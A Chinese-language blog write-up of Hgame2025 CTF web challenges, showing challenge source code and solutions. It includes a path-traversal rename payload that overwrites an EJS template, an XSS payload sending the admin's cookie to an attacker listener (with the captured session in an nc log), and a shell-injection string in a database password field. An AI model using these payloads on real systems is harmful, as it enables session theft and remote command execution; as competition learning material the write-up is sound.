Hgame2025

文章摘要

Bpple-GPT

Hgame2025-web题解

WEEK1

Pacman

一个Js找东西题目,但是我花了很长时间

  1. 这个js是经过处理了,进行了反混淆
  2. 不知道这个 Frence密码
  • 可以直接在js里面找到 >
  • );">或者在console中输入=20000 ,然后把几条命用完

先是base64解码

haeu4epca_4trgm{_r_amnmse}

是个这么个东西,我最开始懵了,感觉是什么密码,但是试了几个都不行

最后找到这个FRence密码

BandBomb

ejs,目录穿越

给了源码

const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);
  },
  filename: (req, file, cb) => {
    cb(null, file.originalname);
  }
});

const upload = multer({ 
  storage: storage,
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {
        return cb(new Error('无效的文件名'), false);
      }
      cb(null, true);
    } catch (err) {
      cb(new Error('文件处理错误'), false);
    }
  }
});

app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');
  
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      return res.status(500).render('mortis', { files: [] });
    }
    res.render('mortis', { files: files });
  });
});

app.post('/upload', (req, res) => {
  upload.single('file')(req, res, (err) => {
    if (err) {
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      return res.status(400).json({ error: '没有选择文件' });
    }
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});

app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;
  const oldPath = path.join(__dirname, 'uploads', oldName);
  const newPath = path.join(__dirname, 'uploads', newName);

  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });
  }

  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });
    }
    res.json({ message: ' ' });
  });
});

app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

看我之后基本逻辑是这样的

<%= process.env %>

上传文件(ejs模板利用)--->在rename中穿json数据,利用目录穿越改为 mortis.ejs,--->访问得到环境变量

{
    "oldName" : "mm.ejs",
    "newName" : "../views/mortis.ejs"
}

这样实现了文件覆盖

得到flag

MysteryMessageBoard

弱密钥+XSS

跑弱密钥字典

密码是888888
可以进入留言板,对应源码

func indexHandler(c *gin.Context) {
	session, _ := store.Get(c.Request, "session")
	username, ok := session.Values["username"].(string)
	if !ok {
		log.Println("User not logged in, redirecting to login")
		c.Redirect(http.StatusFound, "/login")
		return
	}
	if c.Request.Method == http.MethodPost {
		comment := c.PostForm("comment")
		log.Printf("New comment submitted: %s\n", comment)
		comments = append(comments, comment)
	}
	htmlContent := fmt.Sprintf(`<html>
		<body>
			<h1>留言板</h1>
			<p>欢迎,%s,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!</p>
			<form method="post">
				<textarea name="comment" required></textarea><br>
				<input type="submit" value="提交评论">
			</form>
			<h3>留言:</h3>
			<ul>`, username)
	for _, comment := range comments {
		htmlContent += "<li>" + comment + "</li>"
	}
	htmlContent += `</ul>
			<p><a href="/logout">退出</a></p>
		</body>
	</html>`
	c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
}

我们尝试XSS成功

<script>alert(1);</script>

看源码无头模拟admin登录

func adminHandler(c *gin.Context) {
	htmlContent := `<html><body>
		<p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p>
		</body></html>`
	c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
	//无头浏览器模拟登录admin,并以admin身份访问/路由
	go func() {
		lock.Lock()
		defer lock.Unlock()
		ctx, cancel := chromedp.NewContext(context.Background())
		defer cancel()
		ctx, _ = context.WithTimeout(ctx, 20*time.Second)
		if err := chromedp.Run(ctx, myTasks()); err != nil {
			log.Println("Chromedp error:", err)
			return
		}
	}()
}

我们直接把admin的cookie带出来

<script>location.href="ip:7555/?cookie="+document.cookie</script>
root@VM-0-9-ubuntu:/home/ubuntu# nc -lvp 7555
Listening on 0.0.0.0 7555
Connection received on 123.161.250.68 41929
GET /?cookie=session=MTczOTk1MjEyMXxEWDhFQVFMX2dBQUJFQUVRQUFBcF80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQWtBQjNOb1lXeHNiM1E9fNAzH-exZpPA8MJCmAWbp9izZ7Y9c99yxCfTwqzgtrlU HTTP/1.1
Host: ip:7555
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node1.hgame.vidar.club:30566/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-US;q=0.8,zh;q=0.7
Cookie: _ga=GA1.1.1961203649.1732608413; _ga_89WN60ZK2E=GS1.1.1732608413.1.1.1732608465.0.0.0

登录/flag换session就可以拿到flag

角落

:::info
这个跟着复现出来的

:::

这里被称为“角落(The Corner)”,仿佛是某个庞大迷宫中被遗漏的碎片。

墙壁上挂着一块破旧的留言板,四周弥漫着昏暗的光线和低沉的回响。

据说,这块留言板是通往外界的唯一线索,但它隐藏着一个不为人知的秘密——留言板的管理者会查看留言板上的信息,并决定谁有资格离开。

这里的实体似乎对留言板有着特殊的兴趣,它们会不断地在留言板上留下奇怪的符号或重复的单词,仿佛在进行某种神秘的仪式。

或许,可以通过这些仪式借助管理者的力量离开。

上来还是一个留言板

本来以为是SSTI或者XSS但是没有什么tupo

app.conf

# Include by httpd.conf
<Directory "/usr/local/apache2/app">
	Options Indexes
	AllowOverride None
	Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/

代码如下:

from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
	filename = pwd + "/tmp/message.txt"
	if os.path.exists(filename):
		f = open(filename, 'r')
		message = f.read()
		f.close()
		return message
	else:
		return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
	status = request.args.get('status')
	if status is None:
		status = ''
	return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
	filename = pwd + "/tmp/message.txt"
	message = request.form['message']

	f = open(filename, 'w')
	f.write(message) 
	f.close()

	return redirect('index?status=Send successfully!!')

@app.route('/read', methods=['GET'])
def read_message():
	if "{" not in readmsg():
		show = show_msg.replace("{{message}}", readmsg())
		return render_template_string(show)
	return 'waf!!'


if __name__ == '__main__':
	app.run(host = '0.0.0.0', port = 5000)

得到flag

WEEk2

HoneyPot

题目说明如下:

一些关于本题的说明
1.本题出网
2.容器内置有 /writeflag命令,会把预设的 flag写入到 /flag位置进行读取。
3.本题为多容器题目,可通过UI连接预设数据库。数据库启动需要时间,预计容器启动后一分钟内可正常连接赛题数据库.
如遇问题请及时联系出题人.

具体危险函数如下,题目注释其实已经给了提示

func ImportData(c *gin.Context) {
    var config ImportConfig
    if err := c.ShouldBindJSON(&config); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{
            "success": false,
            "message": "Invalid request body: " + err.Error(),
        })
        return
    }
    if err := validateImportConfig(config); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{
            "success": false,
            "message": "Invalid input: " + err.Error(),
        })
        return
    }

    config.RemoteHost = sanitizeInput(config.RemoteHost)
    config.RemoteUsername = sanitizeInput(config.RemoteUsername)
    config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
    config.LocalDatabase = sanitizeInput(config.LocalDatabase)
    if manager.db == nil {
        dsn := buildDSN(localConfig)
        db, err := sql.Open("mysql", dsn)
        if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{
                "success": false,
                "message": "Failed to connect to local database: " + err.Error(),
            })
            return
        }

        if err := db.Ping(); err != nil {
            db.Close()
            c.JSON(http.StatusInternalServerError, gin.H{
                "success": false,
                "message": "Failed to ping local database: " + err.Error(),
            })
            return
        }

        manager.db = db
    }
    if err := createdb(config.LocalDatabase); err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{
            "success": false,
            "message": "Failed to create local database: " + err.Error(),
        })
        return
    }
    //Never able to inject shell commands,Hackers can't use this,HaHa
    command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
                           config.RemoteHost,
                           config.RemoteUsername,
                           config.RemotePassword,
                           config.RemoteDatabase,
                           localConfig.Username,
                           localConfig.Password,
                           config.LocalDatabase,
                          )
    fmt.Println(command)
    cmd := exec.Command("sh", "-c", command)
    if err := cmd.Run(); err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{
            "success": false,
            "message": "Failed to import data: " + err.Error(),
        })
        return
    }

    c.JSON(http.StatusOK, gin.H{
        "success": true,
        "message": "Data imported successfully",
    })
}

我们继续往下看过滤

func validateImportConfig(config ImportConfig) error {
	if config.RemoteHost == "" ||
		config.RemoteUsername == "" ||
		config.RemoteDatabase == "" ||
		config.LocalDatabase == "" {
		return fmt.Errorf("missing required fields")
	}

	if match, _ := regexp.MatchString(`^[a-zA-Z0-9\.\-]+$`, config.RemoteHost); !match {
		return fmt.Errorf("invalid remote host")
	}

	if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteUsername); !match {
		return fmt.Errorf("invalid remote username")
	}

	if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteDatabase); !match {
		return fmt.Errorf("invalid remote database name")
	}

	if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.LocalDatabase); !match {
		return fmt.Errorf("invalid local database name")
	}

	return nil
}

其实是没有过滤RemotePassword的

Payload如下

{
"remote_host": "8.8.8.8",
"remote_port": "3306",
"remote_username": "root",
"remote_password": "; /writeflag ;#",
"remote_database": "mydb",
"local_database": "cmd"
}

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

isfp 探险家

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

65 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

551
Hello Halo

2024-10-30

532
本地部署LLM

2024-08-22

511
Uptime Kuma

2024-11-29

507
241

访问统计